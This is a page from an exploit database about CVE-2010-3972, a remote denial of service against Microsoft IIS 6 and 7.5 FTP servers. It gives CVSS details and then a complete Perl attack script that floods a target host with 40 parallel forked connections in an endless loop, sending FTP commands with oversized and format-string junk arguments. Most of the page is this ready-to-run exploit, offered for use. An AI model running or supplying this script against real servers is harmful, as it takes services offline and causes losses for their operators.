Exploitalert - Database of Exploits

Microsoft IIS 6, 7.5 FTP Server Remote Denial Of Service

CVE	Category	Price	Severity
CVE-2010-3972	CWE-20	$500	High

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2012-07-10

CPE
cpe:cpe:/a:microsoft:iis:6.0

CVSS	EPSS	EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	None	C	There is no impact on the confidentiality of the system; the attacker does not gain the ability to read any data.
Integrity	None	I	There is no impact on the integrity of the system; the attacker does not gain the ability to modify any files or information on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

http://cxsecurity.com/ascii/WLB-2012070029

# Exploit Title: Microsoft IIS 6 , 7.5 FTP Server Remote Denial Of Service # Date: June 29, 2012 # Author: coolkaveh # coolkaveh () rocketmail com # https://twitter.com/coolkaveh # Vendor Homepage: http://www.microsoft.com # Version: Microsoft IIS 6 , 7.5 FTP Server # Tested on: windows server 2008 r2 , seven , #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ #When sending multiple parallel FTP command requests to a Microsoft IIS FTP Server #CPU usage goes up to max capacity and server gets non responsive. #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # Lame Microsoft IIS FTP Server Remote Denial Of Service #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ #!/usr/bin/perl -w use IO::Socket; use Parallel::ForkManager; $|=1; sub usage { print "Please DISABLE firewall daemon of this operating system first!\n"; print "FTP Server Remote Denial Of Service\n"; print "by coolkaveh\n"; print "usage: perl killftp.pl <host> \n"; print "example: perl killftp.pl www.example.com \n"; } $host=shift; $port=shift || "21"; if(!defined($host)){ print "Please DISABLE firewall daemon of this operating system first!\n"; print "FTP Server Remote Denial Of Service\n"; print "by coolkaveh\n"; print "coolkaveh () rocketmail com\n"; print "usage: perl killftp.pl <host> \n"; print "example: perl killftp.pl www.example.com \n"; exit(0); } $check_first=IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>$port,Timeout=>60); if(defined $check_first){ print "$host -> $port is alive.\n"; $check_first->close; } else{ die("$host -> $port is closed!\n"); } @junk=('A'x5,'A'x17,'A'x33,'A'x65,'A'x76,'A'x129,'A'x257,'A'x513,'A'x1024,'A'x2049,'A'x4097,'A'x8193, 'A'x12288,'%s%p%x%d','024d','%.2049d','%p%p%p%p','%x%x%x%x','%d%d%d%d','%s%s%s%s','%99999999999s', '%08x','%%20d','%%20n','%%20x','%%20s','%s%s%s%s%s%s%s%s%s%s','%p%p%p%p%p%p%p%p%p%p', '%#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%','%s'x129,'%x'x257,'-1','0','0x100', '0x1000','0x3fffffff','0x7ffffffe','0x7fffffff','0x80000000','0xfffffffe','0xffffffff','0x10000','0x100000','1', ); @command=( 'NLST','CWD','STOR','RETR', 'MKD','RMD','DELE','RNFR','RNTO','LIST','MDTM','SIZE','STAT','ACCT','HELP','MODE', 'APPE','STRU','SITE','SITE INDEX','TYPE','TYPE A','TYPE E','TYPE L','TYPE I','NLST','CWD', 'STOR','RETR','MKD', 'RMD', 'DELE','RNFR','RNTO','LIST','MDTM','SIZE','STAT','ACCT', 'HELP','MODE','APPE','STRU','SITE','SITE INDEX', 'TYPE','TYPE A','TYPE E','TYPE L','TYPE I','NLST','CWD', 'STOR','RETR','MKD','RMD', 'DELE','RNFR','RNTO','LIST','MDTM', 'SIZE','STAT','ACCT', 'HELP','MODE','APPE','STRU','SITE','SITE INDEX','TYPE','TYPE A','TYPE E','TYPE L','TYPE I', 'NLST','CWD','STOR','RETR','MKD','RMD', 'DELE','RNFR','RNTO','LIST','MDTM','SIZE','STAT','ACCT','HELP','MODE','APPE', 'STRU','SITE','SITE INDEX','TYPE','TYPE A','TYPE E','TYPE L','TYPE I','NLST','CWD','STOR','RETR','MKD','RMD','DELE', 'RNFR','RNTO','LIST','MDTM','SIZE','STAT','ACCT','HELP','MODE','APPE','STRU','SITE','SITE INDEX','TYPE','TYPE A','TYPE E', 'TYPE L','TYPE I','NLST','CWD','STOR','RETR','MKD','RMD', 'DELE','RNFR','RNTO','LIST','MDTM','SIZE','STAT','ACCT','HELP', 'MODE','APPE','STRU','SITE','SITE INDEX','TYPE','TYPE A','TYPE E','TYPE L','TYPE I','NLST','CWD', 'STOR','RETR','MKD','RMD', 'DELE','RNFR','RNTO','LIST','MDTM','SIZE','STAT','ACCT', 'HELP','MODE','APPE','STRU','SITE','SITE INDEX','TYPE','TYPE A', 'TYPE E','TYPE L','TYPE I','NLST','CWD', 'STOR','RETR','MKD','RMD', 'DELE','RNFR','RNTO','LIST','MDTM','SIZE','STAT','ACCT', 'HELP','MODE','APPE','STRU','SITE','SITE INDEX','TYPE','TYPE A','TYPE E','TYPE L','TYPE I','NLST','CWD', 'STOR','RETR','MKD','RMD', 'DELE','RNFR','RNTO','LIST','MDTM','SIZE','STAT','ACCT','HELP','HELP','MODE','APPE','STRU','SITE','SITE INDEX','TYPE', 'MODE','APPE','STRU','SITE','SITE INDEX','TYPE','TYPE A','TYPE E','TYPE L','TYPE I','NLST','CWD', 'STOR','RETR','MKD','RMD', 'DELE','RNFR','RNTO','LIST','MDTM','SIZE','STAT','ACCT','HELP','MODE','APPE','STRU','SITE','SITE INDEX','TYPE','TYPE A','TYPE E', 'TYPE L','TYPE I','NLST','CWD', 'STOR','RETR','MKD','RMD', 'DELE','RNFR','RNTO','LIST','MDTM','SIZE','STAT','ACCT','HELP', 'MODE','APPE','STRU','SITE','SITE INDEX','TYPE','TYPE A','TYPE E','TYPE L','TYPE I','NLST','CWD', 'STOR','RETR','MKD','RMD', 'DELE','RNFR','RNTO','LIST','MDTM','SIZE','STAT','ACCT','HELP','MODE','APPE','STRU','SITE','SITE INDEX','TYPE','TYPE A', 'TYPE E','TYPE L','TYPE I','NLST','CWD', 'STOR','RETR','MKD','RMD', 'DELE','RNFR', 'RNTO','LIST','MDTM','SIZE','REST' ); print "Dosing Server!\n"; $pm = new Parallel::ForkManager(40); while (1) { my $pid = $pm->start and next; COMMAND_LIST: foreach $cmd (@command){ foreach $poc (@junk){ LABEL5: $sock4=IO::Socket::INET->new(PeerAddr=>$host, PeerPort=>$port, Proto=>'tcp', Timeout=>30); if(defined($sock4)){ $sock4->send("$cmd"." "."$poc\r\n", 0); $sock4->recv($content, 0, 900); } } } $pm->finish; }

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